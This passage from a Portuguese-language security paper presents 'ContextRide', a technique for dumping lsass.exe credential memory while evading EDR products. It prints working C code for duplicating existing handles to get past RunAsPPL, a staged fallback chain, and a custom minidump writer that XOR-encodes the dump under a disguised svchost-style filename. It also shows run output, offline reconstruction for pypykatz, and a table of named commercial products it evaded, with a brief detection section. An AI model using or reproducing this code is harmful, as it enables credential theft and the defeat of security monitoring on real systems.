Bytes NOP e dados mortos são eliminados pelo otimizador do compilador e portanto inúteis para controle de layout. A solução é incluir código semanticamente ativo que não pode ser removido. `WalkLsassModules` — uma função que enumera o PEB do processo-alvo via `NtReadVirtualMemory` — contribui ~600 bytes ao `.text`, seu output alimenta a etapa de serialização de módulos (tornando-o não-dead-code) e sua presença impede remoção pelo compilador:

```
LSASS_MOD* mods = VirtualAlloc(NULL, MAX_LSASS_MODS * sizeof(LSASS_MOD),
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD modCount = 0;
```

```
if (mods) modCount = WalkLsassModules(hTarget, mods, MAX_LSASS_MODS);  
// modCount consumido pela serialização customizada de módulos abaixo
```

Note que `WalkLsassModules`, como qualquer função que lê memória de `lsass.exe`, é um candidato a assinatura comportamental em si mesma — seu uso como padding semântico trocaria uma assinatura de offset por uma assinatura funcional em engines que analisam sequências de chamadas. A escolha da função de padding deve considerar sua própria detectabilidade no perfil comportamental alvo.

5.3 Separação Cross-Host do Código MDMP Detectável

A estrutura `MINIDUMP_MODULE` (108 bytes, stride fixo, offsets de campo característicos em `0x00`, `0x08`, `0x14`) produz padrões assembly que scanners estáticos reconhecem independentemente de ofuscação de constantes. A solução é **remover completamente do binário no alvo qualquer código que escreva estruturas `MINIDUMP_MODULE`**, serializando informações de módulos em formato proprietário:

```
// Serialização proprietária: sem stride MDMP, sem offsets característicos  
volatile BYTE vm0=0xCAu, vm1=0x11u, vm2=0xABu, vm3=0x1Eu;  
DWORD magic = (DWORD)vm0 | ((DWORD)vm1<<8) | ((DWORD)vm2<<16) | ((DWORD)vm3<<24);  
BufAppend(&buf, &magic, 4);  
BufAppend(&buf, &modCount, 4);  
for (DWORD i = 0; i < modCount; i++) {  
    ULONG64 base = (ULONG64)(ULONG_PTR)mods[i].Base;  
    BufAppend(&buf, &base, 8);  
    BufAppend(&buf, &mods[i].Size, 4);  
    USHORT nb = (USHORT)(mods[i].NameChars * 2);  
    BufAppend(&buf, &nb, 2);  
    BufAppend(&buf, mods[i].Name, nb);  
}
```

A `ModuleListStream` completa — um `MINIDUMP_MODULE_LIST` válido com entradas corretas de 108 bytes — é reconstruída em Python no host do analista após transferência e decodificação XOR do arquivo:

```
# decode_patch.py -- executado no host do analista (fora do alvo)  
MAGIC = 0x1EAB11CA # marcador proprietário (bytes no wire: CA 11 AB 1E)  
MOD_SZ = 108 # sizeof(MINIDUMP_MODULE)  
  
# 1. Decodifica XOR 2. localiza marcador 3. parseia tabela  
# 4. constrói MINIDUMP_MODULE_LIST 5. patcha RVA e Size do dirs[1]
```

5.4 XOR Encoding do Artefato em Disco

O buffer final — dados do dump mais tabela de módulos — é XOR-encoded (chave = 0x42) antes da escrita em disco, garantindo que o arquivo gravado não contenha o magic MDMP nem qualquer padrão reconhecível do formato Minidump. O arquivo é gravado com um nome genérico (`svchost_rpt_XXXX.dat`) em `%TEMP%`, evitando detecção tanto por nome quanto por conteúdo no momento da escrita.

```
for (SIZE_T i = 0; i < buf.used; i++)  
    buf.data[i] ^= (BYTE)DUMP_XOR_KEY;
```

6. Aquisição de Handle em Ambientes PPL

6.1 O Problema com RunAsPPL

A enforcement do PPL ocorre em nível de kernel, independentemente de qualquer produto EDR/XDR. Com `RunAsPPL=1`, `NtOpenProcess` retorna `STATUS_ACCESS_DENIED` (0xC0000022) mesmo para `NT AUTHORITY\SYSTEM` com `SeDebugPrivilege`. **Nenhuma combinação de técnica de userland — incluindo o ContextRide — bypassa diretamente essa restrição imposta pelo kernel.** O ContextRide endereça essa camada via aquisição operacional de handle: explorar a semântica de duplicação de handles existentes que foram abertos por processos autorizados, sem modificar o mecanismo de proteção em si.

6.2 Aquisição de Handle via NtQuerySystemInformation

Processos de sistema — serviços Windows, agentes de segurança, componentes SCM — rotineiramente mantêm handles abertos para `lsass.exe` com permissões suficientes para leitura de memória. **A verificação PPL aplica-se no momento da abertura do handle, não no momento da duplicação:** duplicar um handle existente que foi aberto por um processo autorizado não aciona a verificação PPL.

O procedimento:

1. Enumerar todos os handles do sistema via `NtQuerySystemInformation` (`SystemHandleInformation`).
2. Para cada handle pertencente a um processo diferente, duplicá-lo localmente e verificar se seu alvo é o PID correto do `lsass.exe` via `NtQueryInformationProcess`.
3. Verificar que `NtReadVirtualMemory` tem sucesso no handle duplicado antes de utilizá-lo.

```
HANDLE AcquireReadableHandle(DWORD targetPid) {  
    ULONG sz = 0x10000; NTSTATUS st;  
    SYSTEM_HANDLE_INFORMATION* shi = NULL;
```

```

do {
    if (shi) VirtualFree(shi, 0, MEM_RELEASE);
    sz *= 2;
    shi = (SYSTEM_HANDLE_INFORMATION*)VirtualAlloc(NULL, sz,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    st = NtQuerySystemInformation(SystemHandleInformation, shi, sz,
&sz);
} while (st == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(st)) { VirtualFree(shi, 0, MEM_RELEASE); return NULL; }

for (ULONG i = 0; i < shi->NumberOfHandles; i++) {
    SYSTEM_HANDLE_ENTRY* h = &shi->Handles[i];
    if (h->UniqueProcessId == GetCurrentProcessId()) continue;

    OBJECT_ATTRIBUTES oa2 = {sizeof(oa2)};
    CLIENT_ID cid2 = {(HANDLE)(ULONG_PTR)h->UniqueProcessId, NULL};
    HANDLE hOwner = NULL;
    NtOpenProcess(&hOwner, PROCESS_DUP_HANDLE, &oa2, &cid2);
    if (!hOwner) continue;
    HANDLE hDup = NULL;
    NtDuplicateObject(hOwner, (HANDLE)(ULONG_PTR)h->HandleValue,
        GetCurrentProcess(), &hDup,
        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, 0);

    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hDup, ProcessBasicInformation, &pbi,
sizeof(pbi), NULL);
    if ((DWORD)(ULONG_PTR)pbi.UniqueProcessId == targetPid) {
        BYTE probe[2]; SIZE_T rd = 0;
        if (NT_SUCCESS(NtReadVirtualMemory(hDup, (PVOID)0x10000, probe,
2, &rd)) && rd > 0)
            return hDup; // VM_READ confirmado
    }
    NtClose(hDup);
}
return NULL;
}

```

6.3 Cadeia de Fallback Completa

```

// Estágio 1: acesso mínimo necessário (ambientes sem PPL)
st = SysNtOpenProcess(&hTarget,

PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION,
    &oa, &cid);

```

```

// Estágio 2: acesso total
if (!NT_SUCCESS(st) || !hTarget)
    st = SysNtOpenProcess(&hTarget, PROCESS_ALL_ACCESS, &oa, &cid);

// Estágio 3: aquisição via duplicação (PPL ativo)
if (!NT_SUCCESS(st) || !hTarget) {
    hTarget = AcquireReadableHandle(targetPid);
    if (!hTarget) return ERROR_PPL_BLOQUEADO;
}

// Verificação final: ObRegisterCallbacks pode ter removido VM_READ do
// handle
// (mecanismo independente de EDR, via driver de kernel -- ver Seção 2.1)
BYTE probe[2]; SIZE_T prd = 0;
BOOL vmOk = NT_SUCCESS(SysNtReadVirtualMemory(hTarget, (PVOID)0x10000,
                                                probe, 2, &prd)) && prd > 0;

if (!vmOk) {
    HANDLE hAcquired = AcquireReadableHandle(targetPid);
    if (hAcquired) { SysNtClose(hTarget); hTarget = hAcquired; }
}

```

7. Avaliação

7.1 Ambiente de Testes

Componente	Especificação
Sistema Operacional	Windows 11 builds 26100 e 26200
Configuração PPL	RunAsPPL=1 (ativo)
Credential Guard	Desabilitado (LsaCfgFlags=0)
Toolchain de build	mingw-w64 x86_64, -O2 -Wl,-s
Plataforma de build	macOS (cross-compilação)

Os testes cobriram 15 produtos EDR/XDR em faixas free, trial e enterprise. O mesmo binário foi utilizado em cada teste sob condições idênticas de sistema. Produtos sem resultado listado não haviam sido testados no momento da escrita; os testes estão em andamento. Os resultados consolidados para os 7 produtos pendentes serão publicados em atualização subsequente.

Os testes avaliaram evasão de detecção estática on-write e de call stack inspection (via inspeção de ausência de alertas e bloqueios dos produtos). Correlação comportamental ETW em nível de sequência de syscalls não foi instrumentada diretamente nos testes; a ausência de alertas nos produtos com bypass confirmado é consistente com evasão dessa camada, mas não a exclui definitivamente em implementações que correlacionam eventos sem emitir alerta em tempo real.

7.2 Resultados

7.2.1 Resultados Multi-Produto: LSASS Dump

A tabela abaixo mostra os resultados para o componente de dump LSASS (ContextRide + custom MDMP builder + XOR encoding + reconstrução off-target). Legenda: **Evasão** = dump produzido e funcional sem alerta; **Parcial** = sem alerta, dump inutilizável (controle de kernel independente); **Bloqueado** = produto impediu o dump; **—** = não testado ainda.

Produto	Licença	Resultado: LSASS Dump
Aurora EDR	Free	Evasão : Dump → Encrypt → Outside Analysis
BitDefender	Trial Total Security	Parcial : sem alerta; dump contém apenas zeros (ver nota)
Cortex	Paid	—
CrowdStrike Falcon	Enterprise	Evasão : Dump → Encrypt → Outside Analysis
Cylance	Paid	—
Elastic Defend	Free	Evasão : Dump → Encrypt → Outside Analysis
FortiEDR	Paid	Bloqueado : dump impedido
Microsoft Defender	Free	Evasão : Dump → Encrypt → Outside Analysis
Microsoft Defender XDR	Paid	—
SentinelOne	Paid	Bloqueado : dump impedido
Sophos	Paid	—
Trellix	Paid	—
MalwareBytes	Paid	Evasão : Dump → Encrypt → Outside Analysis
Trend Micro EDR	Paid	—
ESET	Trial of Paid Version	—

Nota sobre BitDefender: O arquivo de dump continha apenas zeros sem alerta ou bloqueio. Isso indica remoção silenciosa de `PROCESS_VM_READ` do handle via `ObRegisterCallbacks` após a duplicação — `NtReadVirtualMemory` retorna `STATUS_SUCCESS` mas preenche o buffer com zeros. Este é um controle de acesso em nível de kernel (Camada 2.1) que opera independentemente do call stack e não constitui uma detecção do ContextRide. O resultado é classificado como "Parcial" porque o mecanismo de call stack evasion funcionou, mas a leitura de memória foi silenciosamente neutralizada por controle de kernel independente.

Resumo: 5 de 8 produtos testados produziram dumps funcionais sem alertas. 2 produtos bloquearam o dump. 7 produtos não foram testados até o momento da escrita.

7.2.2 Exemplo de Execução

Com todas as camadas de evasão ativas em um produto com bypass confirmado:

```
> contextride_poc.exe
pid 1488
handle ok
read 1
dump 1 sz 78113440
wrote 78113440
```

Após transferência do artefato XOR-encoded e reconstrução fora do alvo:

```
$ python3 decode_patch.py svchost_rpt_A318.dat
modules: 101
  C:\WINDOWS\system32\lsasrv.dll  base=0x00007ff8b1fe0000  size=0x1b7000
  [...]
written: out.dmp  (79,051,212 bytes)
```

O arquivo resultante é um Minidump estruturalmente válido contendo 101 módulos carregados e todas as regiões de memória acessíveis do `lsass.exe`.

7.2.3 Resumo por Camada de Detecção

Camada de Detecção	Técnica Aplicada	Resultado nos produtos com evasão confirmada
Scanning estático on-write	Ofuscação volatile + XOR encoding	Evasão
Hook de userland	ContextRide (NtContinue como primitiva)	Evasão

Camada de Detecção	Técnica Aplicada	Resultado nos produtos com evasão confirmada
Inspeção de call stack	ContextRide (IAT patch + frame legítimo)	Evasão (verificação por endereço de frame)
Enforcement PPL	Aquisição via duplicação de handle	Operacional (não é bypass do mecanismo PPL)

7.3 Limitação: Cobertura de Templates de Ferramenta

Os testes no Windows 11 build 26200 expuseram uma lacuna de cobertura de ferramenta: o pypykatz 0.6.13 não possui template de assinatura LSA para esse build:

```
ERROR:pypykatz:LSA signature not found!
```

Trata-se de uma limitação de cobertura de ferramenta, não do dump nem da técnica. O dump contém a região completa de memória da `lsasrv.dll` e é parseável por qualquer ferramenta com template para esse build. O build 26100 funciona com os templates existentes do pypykatz. Adicionar suporte para o build 26200 requer engenharia reversa na `lsasrv.dll` específica, o que é documentado e reproduzível (ver Seção 8.1).

7.4 Discussão

Generalidade do ContextRide. A propriedade de legitimidade de call stack baseada em verificação de endereços de frame produzida pelo ContextRide deriva do modelo de execução de threads do Windows, não de suposições sobre um produto de segurança específico. Qualquer produto EDR/XDR que realize inspeção de call stack por verificação de pertencimento de endereço a módulo assinado verá a mesma cadeia legítima: `kernelbase.dll` → `ntdll.dll` → `KiSystemCall64`.

Detecção estática position-sensitive. A descoberta empírica sugere que algumas engines de detecção estática ancoram regras YARA-style a offsets específicos de seção do PE. Isso representa uma suposição arquitetural de que o layout binário é fixo, que o padding semântico pode violar sem alterar a semântica do programa.

Detectabilidade do ContextRide. A técnica é detectável por produtos que implementem:

- Validação de integridade criptográfica de módulos no call stack (não apenas verificação de pertencimento de endereço);
- Detecção de que `kernelbase!<função>` não foi invocada através de seu caller documentado na sequência esperada;

- Detecção da presença de `NtContinue` em cadeias de chamadas de operações sensíveis como anomalia comportamental;
- Correlação de sequências de syscalls (`NtQuerySystemInformation` → `NtDuplicateObject` → `NtReadVirtualMemory`) como padrão de dumping independente da legitimidade de call stack individual.

Detecção robusta requer verificação de integridade criptográfica de módulos combinada com modelagem comportamental da cadeia de chamadas — capacidade não uniformemente presente nos produtos testados.

8. Conclusão

Este artigo introduziu o ContextRide, uma técnica que reutiliza `NtContinue` como primitiva de execução para syscalls indiretos que produzem um call stack legítimo sob verificação de endereços de frame — sem introduzir stubs fora da `ntdll.dll`. A técnica endereça simultaneamente bypass de hook de userland e evasão de inspeção de call stack baseada em pertencimento de endereço a módulo assinado — distinguindo-se do HookChain [10], que alcança legitimidade de call stack através de IAT patching em DLLs de subsistema mas não cobre as camadas de scanning estático, formato de dump em memória e PPL que o ContextRide endereça. Validado empiricamente, o ContextRide não aciona nenhuma camada de detecção nos produtos testados onde o HookChain ainda gera alerta no cenário de captura de memória.

Combinado com um builder customizado de Minidump, ofuscação de constantes via `volatile` para evasão de regras YARA byte-exatas, padding semântico para controle de layout e reconstrução off-target do MDMP, o ContextRide alcança evasão end-to-end nos 5 produtos EDR/XDR confirmados até o momento (em faixas free, trial e enterprise), com testes em andamento nos demais 7 produtos. A descoberta de YARA position-sensitive (que remover um trigger de detecção pode reativar a detecção de código não-relacionado por deslocamento de offset) representa um resultado empírico independentemente notável com implicações para o design de regras estáticas em todos os vendedores.

A aquisição operacional de handle em ambientes PPL não constitui um bypass do mecanismo de proteção em nível de kernel: é uma mitigação que explora a semântica de duplicação de handles existentes. A limitação é operacional: depende da presença de handles com permissões suficientes em processos de sistema no ambiente alvo.

A propriedade de evasão de call stack do ContextRide não é específica de produto: vale contra qualquer produto que dependa de verificação de pertencimento de endereço de frame a

módulo assinado, porque o mecanismo explora a semântica do `NtContinue` em nível de kernel do Windows.

8.1 Trabalho Futuro

- **Templates LSA para builds recentes.** Análise estática automatizada da `lsasrv.dll` para builds 26100+ com contribuição upstream ao pypykatz.
 - **Resultados consolidados para os 7 produtos pendentes.** Publicação dos resultados dos testes em andamento.
 - **Extensão para outros processos PPL.** A técnica de aquisição via duplicação de handle aplica-se a qualquer processo PPL, não apenas `lsass.exe`.
 - **PoC de detecção.** Implementação de um validador de integridade de call stack com verificação de cadeia de módulos assinados e modelagem comportamental de sequências de syscalls como contribuição para a comunidade defensiva.
 - **Portabilidade para injeção de código.** Adaptação do ContextRide para cenários onde o contexto de execução é um thread legítimo dentro de um processo host.
-

Referências

- [1] Ballenthin, W., Graeber, M., & Teodorescu, A. (2014). *The Art of Memory Forensics*. Wiley.
- [2] Luk, J. (2023). *Detecting Indirect Syscalls via Call Stack Analysis*. MDSec Research.
- [3] Russinovich, M., Solomon, D., & Ionescu, A. (2022). *Windows Internals, Part 1*, 8ª ed. Microsoft Press.
- [4] Peixoto, J. (2023). *EDR Bypass: Understanding Call Stack Anomaly Detection*. SpecterOps Blog.
- [5] Microsoft Corporation. (2024). *Windows Driver Kit: NT Native API Reference*. Microsoft Docs.
- [6] Forshaw, J. (2021). *Windows Security Internals*. No Starch Press.
- [7] Crummie5. (2021). *HalosGate: Finding Syscall Numbers When Ntdll Is Hooked*. GitHub.
- [8] AMD Corporation. (2024). *AMD64 Architecture Programmer's Manual, Volume 2*. AMD.
- [9] Microsoft Corporation. (2024). *MINIDUMP_HEADER structure*. Microsoft Docs.

[10] Carvalho Junior, H. B. D. (2024). *HookChain: A new perspective for Bypassing EDR Solutions*. arXiv:2404.16856.